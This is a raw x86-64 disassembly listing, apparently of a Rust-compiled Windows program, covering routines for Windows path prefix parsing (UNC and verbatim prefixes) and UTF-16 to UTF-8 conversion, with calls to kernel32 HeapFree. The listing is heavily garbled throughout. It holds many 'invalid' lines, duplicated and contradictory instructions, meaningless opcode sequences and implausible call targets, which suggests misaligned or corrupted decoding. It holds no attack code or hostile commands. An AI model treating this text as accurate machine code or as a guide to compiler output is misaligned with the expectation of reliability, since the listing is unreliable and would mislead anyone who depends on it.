movaps xmmword [rbp + 0x60], xmm1
movaps xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x80]
mov rdx, r14
mov edx, esi
mov edx, esi
mov r8, rbx
call fcn.1400d8190
movzx edx, byte [rbp + 0x80]
add byte [rax - 0x75], cl
lea edx, [rax + 0x48000000]
mov eax, dword [rbp + 0xa0]
invalid
invalid
add byte [rax], al
invalid
add byte [rax - 0x75], cl
lea edx, [rax + 0x48000000]
mov eax, dword [rbp + 0xa0]
invalid
invalid
add byte [rax], al
invalid
test dword [rax + 0x4c000000], esp
lea r8, [0x140178a00]
lea eax, [0x140178a00]
or al, byte [rax]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rbx
mov r8, r14
jmp r9
jmp rcx
jmp rcx
add rcx, 4
jmp case.0x1400ca0d6.612
invalid
xor al, 0x48
lea edx, [rax + 1]
push rax
invalid
lea rdx, [rax + 1]
push rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
test rax, rax
cmove rdx, rax
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
invalid
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
jmp case.0x1400ca0d6.612
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
add ecx, 2
push rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
add ecx, 2
jmp case.0x1400ca0d6.612
mov ecx, 2
mov rdx, rbx
sub rdx, rcx
invalid
invalid
add ecx, 2
jmp case.0x1400ca0d6.612
mov ecx, 2
mov rdx, rbx
sub rdx, rcx
jb 0x1400d7c30
add rcx, r14
mov r8, rcx
test rdx, rdx
je 0x1400d7795
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp case.0x1400ca0d6.613
xor eax, eax
mov edx, esi
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], rbx
movups xmm0, xmmword [rbp + 0x80]
movups xmm1, xmmword [rbp + 0x90]
add byte [rax], al
add byte [rdi], cl
adc dword [rbp - 0x50], eax
add byte [rax], al
add byte [rdi], cl
adc dword [rbp - 0x50], eax
movups xmmword [rbp - 0x40], xmm1
mov rcx, qword [rbp + 0xa0]
add byte [rax], al
ror byte [r8 - 0x75], 0x8d
movabs al, byte [0x88d04d8948000000]
add byte [rax], al
mov qword [rbp - 0x30], rcx
mov byte [rbp - 0x26], al
mov word [rbp - 0x28], 0x200
lea rsi, [rbp + 0x21]
add byte [rax], al
mov qword [rbp - 0x30], rcx
mov byte [rbp - 0x26], al
mov word [rbp - 0x28], 0x200
lea rsi, [rbp + 0x21]
mov bl, 2
add al, byte [rbp + 0x31]
test byte [rax - 0x75], 0xbd
sbb byte [rcx], al
add byte [rax], al
invalid
add al, byte [rbp + 0x31]
test byte [rax - 0x75], 0xbd
sbb byte [rcx], al
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x43], cl
adc byte [rcx], al
add byte [rax], al
mov r15, qword [rbp + 0x110]
cmp r13b, 6
je 0x1400d7811
nop dword [rax + rax]
mov rax, qword [rbp + 0x6f]
mov qword [rbp + 0x9f], rax
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x90], xmm1
movaps xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], rdi
mov byte [rbp + 0x20], r13b
mov rax, qword [rbp + 0x9f]
mov qword [rsi + 0x1f], rax
movaps xmm0, xmmword [rbp + 0x80]
movaps xmm1, xmmword [rbp + 0x90]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov r12d, edx
mov byte [rbp + 0x4a], dl
mov byte [rbp + 0x48], r14b
mov byte [rbp + 0x49], bl
lea rcx, [rbp + 0x80]
lea rdx, [rbp + 0x10]
call fcn.1400d8630
lea rcx, [rbp + 0xb8]
lea rdx, [rbp - 0x60]
call fcn.1400d8630
movzx eax, byte [rbp + 0xb8]
cmp byte [rbp + 0x80], 0xa
je case.0x1400d0ac1.491
cmp al, 0xa
je 0x1400d78f4
lea rcx, [rbp + 0x80]
lea rdx, [rbp + 0xb8]
call fcn.1400d8a10
test al, al
je 0x1400d79c3
mov r15, qword [rbp + 0x10]
mov rdi, qword [rbp + 0x18]
movzx r13d, byte [rbp + 0x20]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x60], xmm1
mov rax, qword [rsi + 0x1f]
mov qword [rbp + 0x6f], rax
movzx r14d, byte [rbp + 0x48]
movzx ebx, byte [rbp + 0x49]
movzx edx, byte [rbp + 0x4a]
movzx eax, byte [rsi + 0x2e]
mov byte [rbp + 0x104], al
mov eax, dword [rsi + 0x2a]
mov dword [rbp + 0x100], eax
cmp r13b, 6
jne 0x1400d77f0
jmp 0x1400d7811
cmp al, 0xa
jne 0x1400d79c3
add byte [rax], al
mov rax, qword [rbp + 0x6f]
mov qword [rbp - 1], rax
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp - 0x10], xmm1
invalid
invalid
movaps xmmword [rbp - 0x20], xmm0
mov eax, dword [rbp + 0x100]
test dword [rax], eax
add dword [rax], eax
add byte [rcx + 0x10885], cl
add byte [rdi], cl
mov dh, 0x85
add al, 1
add byte [rax], al
mov byte [rbp + 0x10c], al
cmp r12b, 2
je 0x1400d79c3
mov rax, qword [rbp - 1]
mov qword [rbp + 0xb0], rax
add byte [rax], al
movaps xmm0, xmmword [rbp - 0x20]
movaps xmm1, xmmword [rbp - 0x10]
movups xmmword [rbp + 0xa1], xmm1
movups xmmword [rbp + 0x91], xmm0
mov eax, dword [rbp + 0x108]
mov dword [rbp + 0xbb], eax
movzx eax, byte [rbp + 0x10c]
mov byte [rbp + 0xbf], al
mov qword [rbp + 0x80], r15
add byte [rax], al
add byte [rax - 0x77], cl
mov ebp, 0x88
mov byte [rbp + 0x90], r13b
mov byte [rbp + 0xb8], r14b
mov eax, 0x88000000
popfq
mov ecx, 0x44000000
add byte [rax], al
add byte [rax + rcx*4 - 0x5b], al
invalid
add byte [rax], al
invalid
lea rcx, [rbp + 0x80]
call fcn.1400d8b00
test rax, rax
je 0x1400d79c3
mov r8, rdx
lea rcx, [rbp + 0x80]
mov rdx, rax
call fcn.140014520
cmp qword [rbp + 0x80], 0
je 0x1400d7b8d
mov rax, qword [rbp + 0x110]
mov r8, qword [rbp + 0x118]
sbb byte [rcx], al
add byte [rax], al
add byte [rbx + rcx*4 - 0x7b], cl
sbb byte [rcx], al
add byte [rax], al
lea r13, [rax + r8]
mov rax, qword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov rcx, qword [rax + 0x20]
mov rsi, qword [rax + 0x28]
xor eax, eax
lea r14, [0x140149c48]
mov r15b, 1
cmp rax, r8
je 0x1400d7b88
mov rdx, qword [rbp + 0x110]
add rdx, rax
mov rbx, rax
mov r9, rdx
jmp 0x1400d7a2f
add rbx, r10
mov r9, r8
cmp r8, r13
je 0x1400d7b1f
lea r8, [r9 + 1]
movzx r11d, byte [r9]
mov r10d, 1
test r11b, r11b
jns 0x1400d7a20
cmp r11b, 0xe0
jb 0x1400d7a0b
add byte [rcx - 0x80], al
jns 0x1400d7a69
lahf
ja case.0x1400d60ee.379
add r9, 3
mov r10d, 3
mov r8, r9
jmp 0x1400d7a20
cmove r9, r8
xor r8d, r8d
cmp r9, r13
setne r8b
ror byte [rbp + 1], 0xc8
ror byte [rbp + 1], 0xc8
mov r10d, 3
cmp r11b, 0xf0
jb 0x1400d7a20
xor r9d, r9d
cmp r8, r13
setne r9b
add r8, r9
mov r10d, 4
add cl, ch
push 0xffffffffffffffff
invalid
invalid
mov r8, rbx
sub r8, rax
jb 0x1400d7c59
cmp rbx, qword [rbp + 0x118]
ja 0x1400d7c41
xchg dword [rdx + 1], esi
add byte [rax], al
mov rdi, qword [rsi + 0x18]
mov r12, rcx
call rdi
test al, al
jne case.0x1400d60ee.389
mov r8d, 3
mov rcx, r12
mov rdx, r14
call rdi
test al, al
jne case.0x1400d60ee.389
add rbx, 3
mov rax, rbx
mov r8, qword [rbp + 0x118]
cmp rbx, r8
mov rcx, r12
jbe 0x1400d79f0
mov rdx, r8
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rbx
fld1
cmpsb byte [rsi], byte [rdi]
invalid
add eax, dword [rax]
jmp 0x1400d7c6b
fld1
cmpsb byte [rsi], byte [rdi]
invalid
add byte [rax], al
sub r8, rax
mov rdx, qword [rbp + 0x110]
add rdx, rax
test rax, rax
test eax, eax
test eax, eax
je 0x1400d7b3d
call qword [rsi + 0x18]
jmp 0x1400d7b49
mov rcx, qword [rbp + 0xf0]
call fcn.140013870
mov r15d, eax
mov rax, qword [rbp + 0xf8]
shl rax, 1
shl eax, 1
shl eax, 1
test rax, rax
je case.0x1400b3986.730
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0x110]
add bh, bh
adc eax, 0x3a7ef
mov eax, r15d
add rsp, 0x1a8
add esp, 0x1a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, r8
jmp 0x1400d7b26
movups xmm0, xmmword [rbp + 0x88]
movups xmmword [rbp - 0x60], xmm0
lea rax, [0x140149bc8]
mov qword [rbp + 0x10], rax
lea rax, [fcn.140018160]
mov qword [rbp + 0x18], rax
sbb byte [rax - 0x73], cl
invalid
invalid
sbb byte [rax - 0x73], cl
movabs al, byte [0x93058d4820458948]
mov qword [rbp + 0x20], rax
invalid
invalid
invalid
xchg ebx, eax
loope 0x1400d7bbb
mov qword [rbp + 0x20], rax
lea rax, [0x1400d5d50]
mov qword [rbp + 0x28], rax
lea rax, [0x140149ba8]
invalid
dec dword [rax - 0x77]
sub byte [r8 - 0x73], r9b
add eax, 0x71fe0
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], 2
mov qword [rbp + 0xa0], 0
lea rax, [rbp + 0x10]
mov qword [rbp + 0x90], rax
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 0x2000000], ebx
cwde
add byte [rax], al
add byte [rdx], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 0x2000000], ebx
cwde
add byte [rax], al
add byte [rdx], al
cwde
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
test eax, esi
add byte [rax], al
mov rax, qword [rbp + 0xf0]
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
sub byte [rbp + rcx*4 - 0x7b], cl
add byte [rax], 0
invalid
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 - 0x7b], cl
add byte [rax], 0
add al, ch
invalid
invalid
add byte [rax], al
call fcn.140013bb0
jmp 0x1400d7b49
invalid
invalid
dec dword [rbp + rcx*4 + 5]
outsb dx, byte [rsi]
sbb al, byte [rdi]
invalid
lea r8, str.library_std_srcpath.rs
lea eax, [0x140149690]
add byte [rax - 0x75], cl
xchg ebp, eax
sbb byte [rcx], al
add byte [rax], al
mov rdx, qword [rbp + 0x118]
call fcn.1401082c0
jmp 0x1400d7c6b
lea r8, str.library_std_srcpath.rs
mov rdx, rbx
call fcn.1401082c0
jmp 0x1400d7c6b
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rbx
mov rdx, qword [rbp + 0x118]
call fcn.140108340
jmp 0x1400d7c6b
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rax
mov rdx, rbx
invalid
call fcn.140108530
invalid
invalid
add byte [rdi], cl
or ecx, dword [rdi]
invalid
ud2
mov eax, dword [rbp + 0x110]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
int3
int3
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
test r8, r8
mov qword [rbp - 0x30], rcx
je 0x1400d7d24
js 0x1400d7fe0
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rbx
call fcn.1400dfbe0
test rax, rax
je 0x1400d7fe5
mov r12, rax
jmp 0x1400d7d2a
mov r12d, 1
mov esp, 1
add byte [rax - 0x77], cl
pop rbp
fmul dword [rcx + rcx*4 + 0x65]
loopne 0x1400d7d7b
invalid
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0
mov byte [rbp - 0x10], 1
lea rsi, [rdi + rbx*2]
xor r15d, r15d
xor r14d, r14d
test r14w, r14w
jne 0x1400d7d70
jmp 0x1400d7d90
lea rcx, [r12 + r15]
or al, 0x3c
lea rdx, [rbp - 4]
mov r8, r13
call 0x142f26e47
add byte [rbp + 1], cl
out dx, eax
mov qword [rbp - 0x18], r15
xor r14d, r14d
test r14w, r14w
je 0x1400d7d90
mov r13d, ebx
mov eax, r13d
and eax, 0xf800
cmp eax, 0xd800
jne case.0x1400b984a.708
jmp 0x1400d7db4
cmp rdi, rsi
cmp edi, esi
je 0x1400d7fbc
movzx r13d, word [rdi]
add rdi, 2
mov eax, r13d
call 0x141057dcd
add byte [0x1400e55ae], bh
cmp eax, 0xd800
jne case.0x1400b984a.708
add byte [rax], al
invalid
movzx eax, r13w
cmp eax, 0xdbff
ja 0x1400d7deb
cmp rdi, rsi
je 0x1400d7df0
rol dword [rax], 0x20
add byte [rax], al
movzx ecx, cx
mov bh, 0xc9
mov bh, 0xc9
cmp ecx, 0xfc00
jae 0x1400d7e70
mov r14w, 1
mov ebx, eax
jmp case.0x1400b984a.692
xor r14d, r14d
jmp case.0x1400b984a.692
xor esi, esi
mov rdi, rsi
mov byte [rbp - 0x10], 0
mov rax, qword [rbp - 0x28]
sub rax, r15
cmp rax, 2
ja 0x1400d7e1d
mov r8d, 3
lea rcx, [rbp - 0x28]
mov rdx, r15
add byte [rax], al
add byte [rax - 0x73], cl
fmul dword [r9 + rcx*4 - 6]
call fcn.140110070
mov r15, qword [rbp - 0x18]
mov eax, r13d
shr eax, 6
and al, 0x3f
or al, 0x80
and r13b, 0x3f
or r13b, 0x80
mov r12, qword [rbp - 0x20]
loopne 0x1400d7e77
mov byte [rsp + rdi], 0xed
loopne 0x1400d7e77
mov byte [rsp + rdi], 0xed
in eax, dx
mov byte [r12 + r15 + 1], al
mov byte [r12 + r15 + 2], r13b
insb byte [rdi], dx
cmp al, 2
insb byte [rdi], dx
cmp al, 2
add r15, 3
mov qword [rbp - 0x18], r15
call 0x13692c3b4
add ecx, dword [rcx + rcx*4 + 0x7d]
call 0x13692c3b4
test byte [rdi], 0x85
sbb al, 0xff
invalid
jne 0x1400d7d70
invalid
jmp 0x1400d7d90
nop dword [rax]
shl r13d, 0x10
jmp 0x1400d7e99
invalid
xor esp, dword [rsi + 0x2e]
nop dword [rax + rax]
movzx eax, ax
and r13d, 0x3ff
and eax, 0x3ff
add eax, dword [rax]
add byte [0x1400d827e], ah
shl r13, 0x1a
shl eax, 0x10
or rax, r13
movabs rcx, 0x100000000
add rax, rcx
mov r13, rax
mov rax, r13
shr rax, 0x10
mov dword [rbp - 4], 0
cmp eax, 0x80
jae 0x1400d7ed0
mov byte [rbp - 4], al
mov r13d, 1
mov rax, qword [rbp - 0x28]
sub rax, r15
cmp rax, r13
jae 0x1400d7d50
cmp eax, 0x800
jae 0x1400d7f10
invalid
add byte [rax], al
mov rcx, r13
cmp eax, 0xffff
ja 0x1400d7f53
cmp eax, ebp
jae 0x1400d7d50
invalid
invalid
invalid
or cl, 0xf0
mov byte [rbp - 4], cl
mov rcx, r13
shr rcx, 0x1c
and cl, 0x3f
loope 0x1400d7fa6
or cl, 0x80
mov byte [rbp - 3], cl
std
loope 0x1400d7fa6
std
shr r13d, 0x16
and r13b, 0x3f
or r13b, 0x80
add byte [rax + rcx*4 + 0x6d], 0xfe
add byte [rax + rcx*4 + 0x6d], 0xfe
and al, 0x3f
or al, 0x80
mov byte [rbp - 1], al
mov r13d, 4
mov rax, qword [rbp - 0x28]
sub rax, r15
cmp rax, r13
jae 0x1400d7d50
mov dh, 0xfd
invalid
invalid
mov dh, 0xfd
invalid
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp - 0x18]
mov rax, qword [rbp - 0x30]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140010b00
mov ecx, 1
mov rdx, rbx
call fcn.140107fc0
int3
or al, byte [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov edi, ecx
lea rcx, [rbp - 0x28]
mov rdx, rdi
mov r8, rsi
call fcn.1400d8190
movzx eax, byte [rbp - 0x28]
mov dh, 0x45
fmul dword [rax - 0x75]
call 0x138630bc5
mov edx, dword [rbp - 8]
mov dh, 0x45
fmul dword [rax - 0x75]
call 0x138630bc5
mov edx, dword [rbp - 8]
mov edx, dword [rbp - 8]
clc
movzx r8d, al
lea r9, [0x140178a1c]
lea ecx, [0x140178a1c]
movsxd r10, dword [r9 + r8*4]
add r10, r9
mov r8, rsi
mov r9, rdi
jmp r10
jmp rdx
loop case.0x1400d7661.22
add rcx, 4
add ecx, 4
jmp 0x1400d80d2
xor al, 0x4c
lea eax, [rdx + 1]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
ret 0x14c
invalid
ret 0x14c
add rcx, 8
jmp 0x1400d80d2
invalid
ror dword [rax], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
jmp 0x1400d80d2
lea r8, [rdx + 1]
lea eax, [rdx + 1]
test rdx, rdx
cmove r8, rdx
ret 0x14c
ret 0x14c
ror dword [rax - 0x7d], 0xc1
add ecx, 2
ret 0x14c
add ecx, 2
jmp 0x1400d80d2
mov ecx, 2
mov r8, rsi
sub r8, rcx
enter 0xffffffffffff820f, 0xffffffffffffff9d
add byte [rax], al
invalid
enter 0xffffffffffff820f, 0xffffffffffffff9d
add byte [rax], al
add byte [rax + 1], cl
stc
add rcx, rdi
mov r9, rcx
test r8, r8
je 0x1400d80f7
movzx ecx, byte [r9]
cmp ecx, 0x2f
je 0x1400d80fb
cmp ecx, 0x5c
stc
pop rsp
je 0x1400d80fb
cmp al, 4
ja 0x1400d8131
lea rcx, [rbp - 0x28]
lea ecx, [rbp - 0x28]
fmul dword [r8 - 0x77]
cli
mov rdx, rdi
mov r8, rsi
call fcn.1400d8190
movzx eax, byte [rbp - 0x28]
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
call 0x138630c5e
call 0x138630c5e
mov rdx, qword [rbp - 8]
movzx r8d, al
mov dh, 0xc0
ror byte [rbp + rcx*4 + 0xd], 0x17
or dword [rdx], ecx
add byte [rdi + 0x63], cl
add al, 0x81
lea r9, [0x140178a38]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
add rcx, 4
add ecx, 4
rol dword [rbx + rbp*8], 0x38
jmp case.0x1400a4d60.825
xor eax, eax
jmp 0x1400d8173
invalid
lea r8, ds:[rdx + 1]
lea r8, [rdx + 1]
lea eax, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp case.0x1400a4d60.825
invalid
and byte [rcx + 6], bh
mov ecx, 6
jmp case.0x1400a4d60.825
lea r8, [rdx + 1]
test rdx, rdx
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
cmove r8, rdx
invalid
invalid
cmove r8, rdx
add rcx, r8
add rcx, 2
rol dword [rdx], 0xeb
invalid
rol dword [rdx], 0xeb
add eax, 0x2b9
mov ecx, 2
cmp rcx, rsi
mov ecx, 2
cmp rcx, rsi
ja case.0x1400a4d60.823
cmp al, 6
setne al
invalid
ror byte [rax - 0x7d], 0xc4
push rax
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.1401082c0
add eax, dword [rax]
int3
movzx edx, byte [rdx]
cmp r10b, 0x2f
mov esi, 0x5c
add byte [rdi + rcx + 0x44], al
invalid
cmp r8, 1
jne 0x1400d81ec
add byte [rdi + rcx + 0x44], al
invalid
invalid
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
xor eax, eax
xor r14d, r14d
xor edi, edi
xor esi, esi
jmp 0x1400d82bc
movzx eax, byte [rdx + 1]
cmp al, 0x2f
cmovne esi, eax
cmp r8, 2
jne case.0x1400a4d60.814
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
xor eax, eax
xor r14d, r14d
xor edi, edi
jmp 0x1400d82bc
movzx edi, byte [rdx + 2]
cmp dil, 0x2f
mov r14d, 0x5c
cmove edi, r14d
cmp r8, 3
jne 0x1400d8239
clc
add esi, dword [rbp + 0x12]
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
xor eax, eax
xor r14d, r14d
jmp 0x1400d82bc
movzx eax, byte [rdx + 3]
cmp al, 0x2f
cmovne r14d, eax
cmovne esi, eax
cmovne esi, eax
cmp r8, 4
jne 0x1400d8255
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
invalid
xor eax, eax
jmp 0x1400d82bc
movzx eax, byte [rdx + 4]
cmp al, 0x2f
mov r11d, 0x5c
add byte [rax], al
add byte [rax], al
cmove eax, r11d
cmp r8, 5
jne case.0x1400b3986.766
invalid
or al, byte [rbp + 0x31]
leave
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
jmp 0x1400d82bc
movzx r9d, byte [rdx + 5]
cmp r9b, 0x2f
cmovne r11d, r9d
cmp r8, 6
jne 0x1400d828f
xor r9d, r9d
xor ebx, ebx
jmp 0x1400d82bc
movzx ebx, byte [rdx + 6]
cmp bl, 0x2f
mov r9d, 0x5c
add byte [rax], al
add byte [rcx + 0xf], al
invalid
invalid
cmp r8, 7
jne 0x1400d82ab
xor r9d, r9d
jmp 0x1400d82bc
movzx r15d, byte [rdx + 7]
cmp r15b, 0x2f
cmovne r9d, r15d
shl r9, 0x38
cmp r8, 8
mov r15d, 8
cmovb r15, r8
cmp r8, 2
add dh, byte [rdx + 0x7c]
add dh, byte [rdx + 0x7c]
movzx esi, sil
shl esi, 8
movzx r10d, r10b
mov dh, 0xd2
or r10, rsi
cmp r10d, 0x5c5c
cmp edx, 0x5c5c
jne 0x1400d834c
loop 0x1400d82fc
cmp r10d, 2
je 0x1400d8389
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + 0xf], al
mov dh, 0xd6
invalid
movzx r10d, r14b
shl r10d, 8
loop case.0x1400d60ee.410
movzx esi, dil
or esi, r10d
movzx r10d, si
movzx edx, si
cmp r10d, 0x5c2e
je 0x1400d843c
add byte [rdi], cl
test byte [rcx + rax], ah
add byte [rax], al
cmp r10d, 0x5c3f
jne 0x1400d8389
cmp r8, 3
jbe 0x1400d85e6
cmp byte [rdx], 0x2f
je 0x1400d8346
cmp byte [rdx + 1], 0x2f
je 0x1400d8346
cmp byte [rdx + 2], 0x2f
je 0x1400d8346
invalid
or al, byte [rax + 0xf2f037a]
test dword [rbx + 1], eax
add byte [rax], al
cmp byte [rdx + 3], 0x2f
jne 0x1400d8489
lea r10, [r8 - 2]
jmp 0x1400d8396
mov r10, r8
add r10, 0xfffffffffffffffe
dec byte [rdi]
invalid
xchg esi, eax
add byte [rax], al
invalid
dec byte [rdi]
test byte [rsi + 0x48000000], dl
lea eax, [rdx + 2]
lea rax, [rdx + 2]
add rdx, 3
add edx, 3
add ecx, dword [rcx - 0x7d]
sar ah, 0x45
xor ecx, ecx
add r8, 0xfffffffffffffffc
xor r9d, r9d
nop word cs:[rax + rax]
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
pop rdx
inc dword [rcx - 0x7d]
sti
invalid
movzx r11d, byte [rdx - 1]
cmp r11d, 0x2f
je 0x1400d83d2
cmp r11d, 0x5c
je 0x1400d83d2
inc r9
inc rdx
dec r8
cmp r8, 0xfffffffffffffffe
clc
invalid
jne 0x1400d83b0
clc
invalid
jmp 0x1400d842c
lea r11, [r9 + 1]
sub r10, r11
je 0x1400d842c
lea r11, [rax + r9]
inc r11
neg r8
xor esi, esi
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0x3c
xor al, byte [rbx + 0x14742fff]
invalid
je case.0x1400ca0d6.656
movzx edi, byte [rdx + rsi]
cmp edi, 0x2f
invalid
je case.0x1400ca0d6.656
invalid
cmp edi, 0x5c
je case.0x1400ca0d6.656
lea rdi, [rsi + 1]
add rsi, r8
invalid
mov rsi, rdi
jne 0x1400d83f0
invalid
mov rsi, r10
test r9, r9
je 0x1400d842c
test rsi, rsi
je 0x1400d842c
invalid
adc eax, 0x480401c6
mov dword [rcx + 8], eax
mov byte [rcx], 4
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
mov dword [rcx + 0x10], ecx
mov qword [rcx + 0x18], r11
mov qword [rcx + 0x20], rsi
invalid
pop rcx
sbb byte [rax - 0x77], cl
jno 0x1400d844a
invalid
and bl, ch
add eax, esi
add dword [rsi], eax
invalid
jmp 0x1400d842f
mov byte [rcx], 6
invalid
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
cmp r8, 3
jbe 0x1400d85fd
add rdx, 4
add edx, 4
xor eax, eax
add r8, 0xfffffffffffffffc
je 0x1400d847c
nop word cs:[rax + rax]
nop word cs:[rax + rax]
movzx r9d, byte [rdx + rax]
cmp r9d, 0x2f
je 0x1400d847c
cmp r9d, 0x5c
je 0x1400d847c
inc rax
cmp r8, rax
jne 0x1400d8460
mov rax, r8
mov byte [rcx], 3
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rax
jmp 0x1400d842f
and r15d, 0xc
cmp r15d, 4
je 0x1400d8512
movzx r10d, bl
shl r10, 0x30
or r10, r9
movzx r9d, r11b
movzx ecx, bl
movzx ecx, bl
shl r9, 0x28
movzx eax, al
shl rax, 0x20
and byte [rcx + rcx - 0x38], cl
and byte [rcx + rcx - 0x38], cl
or rax, r10
movabs r9, 0x5c434e5500000000
pop rsp
cmp rax, r9
jne 0x1400d8512
cmp r8, 7
jbe 0x1400d8614
xchg byte [rax + 1], cl
add byte [rax], al
invalid
xchg byte [rax + 1], cl
add byte [rax], al
lea rax, [rdx + 8]
mov rsi, r8
mov r9d, 1
add rsi, 0xfffffffffffffff8
invalid
clc
xabort 0xf
test byte [rdx + 0x48000000], ah
clc
je 0x1400d8585
add rdx, 9
add edx, 9
or dword [rcx - 0x7d], ecx
sal dh, 0x45
xor ebx, ebx
add r8, 0xfffffffffffffff6
xor r11d, r11d
xor r10d, r10d
cmp byte [rdx - 1], 0x5c
je 0x1400d859d
invalid
add byte [rcx - 1], cl
ret 0xff48
inc r10
inc rdx
dec r8
enter 0xffffffffffff8349, 0xfffffffffffffff8
invalid
jne 0x1400d84f1
enter 0xffffffffffff8349, 0xfffffffffffffff8
invalid
mov r10, rsi
jmp 0x1400d85ce
invalid
add byte [rax], al
invalid
mov esp, 0x48000000
lea eax, [rdx + 4]
lea rax, [rdx + 4]
lea r9, [r8 - 4]
cmp r9, 3
jae 0x1400d852e
cmp r8, 4
je 0x1400d858d
cmp r8, 6
je case.0x140019144.3296
jmp 0x1400d856f
movzx r10d, byte [rdx + 6]
cmp r10d, 0x2f
je case.0x140019144.3296
cmp r10d, 0x5c
jne 0x1400d856f
cmp byte [rdx + 5], 0x3a
jne 0x1400d856f
movzx edx, byte [rax]
mov r10d, edx
rol byte [rcx - 0x80], cl
loop 0x1400d852e
rol byte [rcx - 0x80], cl
loop 0x1400d852e
add r10b, 0xbf
cmp r10b, 0x19
ja 0x1400d856f
cmp dl, 0x61
setae al
shl al, 5
xor al, dl
rol dh, 1
add dword [rdx], eax
rol dh, 1
add dword [rdx], eax
mov byte [rcx + 1], al
jmp 0x1400d842f
invalid
dec dword [rcx - 0x7d]
sar ah, 0x31
rol byte [rax + 0x745c103c], cl
cmovs edi, edi
inc edx
invalid
invalid
add r8, 0xfffffffffffffffc
xor edx, edx
cmp byte [rax + rdx], 0x5c
je 0x1400d858a
inc rdx
inc edx
cmp r8, rdx
jne 0x1400d8575
jmp 0x1400d858d
xor r10d, r10d
jmp 0x1400d85cb
mov r9, rdx
mov byte [rcx], 0
mov qword [rcx + 8], rax
or byte [rcx + rcx*4 + 0x49], cl
invalid
or byte [rcx + rcx*4 + 0x49], cl
adc cl, ch
invalid
xchg edx, eax
invalid
jmp 0x1400d842f
lea r11, [r10 + 1]
lea r9, [rax + r10]
inc r9
sub rsi, r11
je 0x1400d85cb
invalid
neg r8
xor r11d, r11d
cmp byte [rdx + r11], 0x5c
je 0x1400d85ce
xor r11d, r11d
mov byte [rcx], 1
fcmovnb st(0), st(6)
add dword [rcx], eax
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r10
mov dword [rcx + 0x10], edx
mov qword [rcx + 0x18], r9
